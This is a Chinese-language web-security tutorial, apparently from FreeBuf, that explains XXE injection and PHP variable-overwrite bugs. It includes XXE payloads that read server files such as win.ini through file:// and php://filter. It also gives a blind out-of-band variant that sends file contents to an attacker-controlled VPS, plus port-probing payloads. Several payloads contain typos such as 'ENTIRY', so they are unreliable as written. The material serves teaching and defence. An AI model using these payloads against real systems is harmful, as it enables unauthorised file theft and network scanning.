萌萌萌萌萌新
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

XML
语法简介
XML:Extensible Markup Language 可扩展标记语言
XML是一种数据表示格式,可以描述非常复杂的数据结构,常用于传输和存储数据.
XML文档结构包括XML声明,DTD文档类型定义(可选),文档元素
XXE:XML External Entity Injection XML外部实体注入
DTD:文档类型定义,规定某种XML格式规范
DTD可以内嵌于XML文档中,称为内部引用.
内部引用文档声明格式:
内部实体声明语法:然后XML就可以使用DTD定义的值.
外部引用.外部文档声明格式:
外部实体声明语法:类似于文件包含
CDATA指的是不由XML解析器解析的文本数据.
XML要用POST请求发送.
XML正常使用
file协议读取任意文件内容.
payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds[<!ENTITY goodies SYSTEM "file:///c:/phpstudy_pro/WWW/6-16/normal.txt">]> <creds>&goodies;</creds>
有特殊字符导致file协议失效
有时读取的文件中有一些和XML语法冲突的特殊字符,此时file协议就会失效,用上面的payload会报错.
可以使用filter协议读取.
payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds[<!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpstudy_pro/WWW/6-16/special_chars.txt">]> <creds>&goodies;</creds>
XXE
有些服务器是通过用户上传的XML文件或POST请求进行数据传输.且如果没有禁止XML引用外部实体,也没有过滤数据,就可能有XXE.
有回显注入
有回显注入值得是读取文件的内容会呈现在网页中,可以直接看到.
使用burpsuite抓包,并修改请求方式为POST,在请求体中插入payload.
使用file协议读取敏感文件内容.
payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds[<!ENTITY goodies SYSTEM "file:///C:/Windows/system.ini">]> <creds>&goodies;</creds>
可以读取到system.ini中的内容.
无回显注入
vps:Virtual Private Server 虚拟专用服务器.对个人来说就是云服务器.
DTD文件的作用是要求服务器外部实体按照DTD文件中的指令来执行特定的命令.
目标:在无回显的情况下,想要读取到文件的内容
思路:攻击者向服务器发送post请求,令服务器读取指定文件内容,并且让服务器读取到内容后将内容转发到指定vps的指定端口.
提前在vps服务器上准备一个command.dtd,令目标服务器访问这个文档.
cmmand.dtd
<!ENTIRY %all "<!ENTITY % send SYSTEM 'http://vps地址/%file;'>"> %all;
攻击者向目标服务器发送恶意XML请求.
payload:
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///Windows/win.ini"> <!ENTIRY % dtd SYSTEM "http://vps地址/command.dtd> %dtd; %send;]>
目标服务器会按照攻击者发送的XML请求,先读取win,ini内容,再转发到vps的地址.即可在无回显的情况下读取敏感文件内容.
XXE命令执行
通过抓包可以看到,有些网页的表单是通过xml传输数据的,此时就可以尝试看有无XXE命令执行.
先输入正常的数据,看有无回显位.如果有回显,在回显位处插入payload测试是否有回显.
XXE探测端口
端口开启的话返回结果很快.端口关闭的话返回结果很慢,而且报错信息也不一样.
payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds[<!ENTITY goodies SYSTEM "http://ip地址:端口/">]> <creds>&goodies;</creds>
如何防止XXE
lib_disable_entity_loader(true) 禁止加载XML外部实体,可以防止XXE
变量覆盖
register_globals():将GET,POST,COOKIE中传入的变量注册为全局变量.
如果get,post,cookie同时定义一个变量并赋不同的值,最终值会是什么?
传值按照get,post,cookie顺序,先传入的会被后传入的覆盖.
foreach
foreach(['_GET','_POST','_COOKIE'] as $item){ foreach($$item as $key => $value){ $$key=$value; } }
extract
extract():从一个数组中导入变量到官方符号表.或者说将一个数组导入到全局变量.第二个参数为可选参数,默认是EXTR_OVERWRITE,即遇到重名变量直接覆盖.
EXTR_SKIP:遇到重名变量直接跳过.
EXTR_PREFIX_SAME:当变量重名时,给重名的变量前添加前缀,前缀为第四个参数.
EXTE_PREFIX_ALL:所有变量都添加前缀.
parse_str()
parse_str():解析字符串,然后将其解析为变量并设置到当前作用域.
import_request_variables()
这个函数可以在register_globals=Off时,将GET,POST,COOKIE变量导入到全局作用域中.
要求php4 >=4.1 php5 <5.4
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
